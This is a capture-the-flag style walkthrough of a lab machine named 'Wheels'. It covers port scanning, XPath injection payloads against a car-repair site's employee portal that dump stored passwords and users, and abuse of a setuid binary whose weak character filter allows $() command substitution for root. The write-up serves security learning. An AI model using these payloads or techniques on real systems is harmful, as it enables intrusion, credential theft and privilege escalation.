Wheels
Gaining Access
Nmap scan:
$ nmap -p- --min-rate 3000 -Pn 192.168.157.202
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-14 11:18 +08
Nmap scan report for 192.168.157.202
Host is up (0.17s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
We can proxy traffic through Burpsuite.
Web Enum -> XPath Injection
The website is for a car repair service:

There's an employee portal and a register page. When I try to register a user and access the portal, we are denied access. I tried to brute force the admin credentials, but they don't work.
At the bottom of the page, we can find an email:

I tried to register an administrator
user with this email, and it worked in showing us the Employee Portal.

If we submit a query, we are returned information in this manner:
<tr height="40" bgcolor="#c8dbde" align="center">
<td>1</td>
<td width="200"><b>bob</b></td>
</tr>
<tr height="40" bgcolor="#c8dbde" align="center">
<td>2</td>
<td width="200"><b>alice</b></td>
</tr>
<tr height="40" bgcolor="#c8dbde" align="center">
<td>3</td>
<td width="200"><b>john</b></td>
</tr>
I tried to append a '
character to the query, and received an XML error:

We can try XPath injection since it seems to load xpath()
. I tested all forms of XPath Injection and tried to dump passwords, and eventually this payload worked:
http://192.168.157.202/portal.php?work=car%27)]%20|%20//password%00&action=search

I also found some users when testing payloads:
http://192.168.157.202/portal.php?work=car%27)%20or%201=1%20or%20(%27&action=search

The first password works for bob
:

Privilege Escalation
SUID Binary -> Arbitrary Read
I searched for SUID binaries and the first result stood out:
bob@wheels:~$ find / -perm -u=s -type f 2>/dev/null
/opt/get-list
bob@wheels:~$ file /opt/get-list
/opt/get-list: setuid, setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a037b8d92b88ad94e965feeeddd13c03f924f0a7, for GNU/Linux 3.2.0, not stripped
bob@wheels:~$ /opt/get-list
Which List do you want to open? [customers/employees]: employees
Opening File....
bob
alice
john
dan
alex
selene
I used ltrace
to see what calls were being made.
bob@wheels:~$ ltrace /opt/get-list
puts("\n"
) = 2
printf("Which List do you want to open? "...) = 55
fgets(Which List do you want to open? [customers/employees]: customers
"customers\n", 100, 0x7f394d6c3980) = 0x7ffeb9de0730
strchr("customers\n", ';') = nil
strchr("customers\n", '|') = nil
strchr("customers\n", '&') = nil
strstr("customers\n", "customers") = "customers\n"
puts("Opening File....\n"Opening File....
) = 18
snprintf("/bin/cat /root/details/customers"..., 200, "/bin/cat /root/details/%s", "customers\n") = 33
open("/dev/null", 1025, 027167403201) = 3
dup(2, 0x5597d7042088, 1025, 0) = 4
dup2(3, 2) = 2
geteuid() = 1000
setuid(1000) = 0
system("/bin/cat /root/details/customers"... <no return ...>
It uses seems that our string is directly passed into a cat
command. There's also a check for special characters before executing. This doesn't protect against subshells using $()
, and it only checks for whether customers
or employees
are substrings within the string we submit.
This is easily exploitable for a root
shell:

Last updated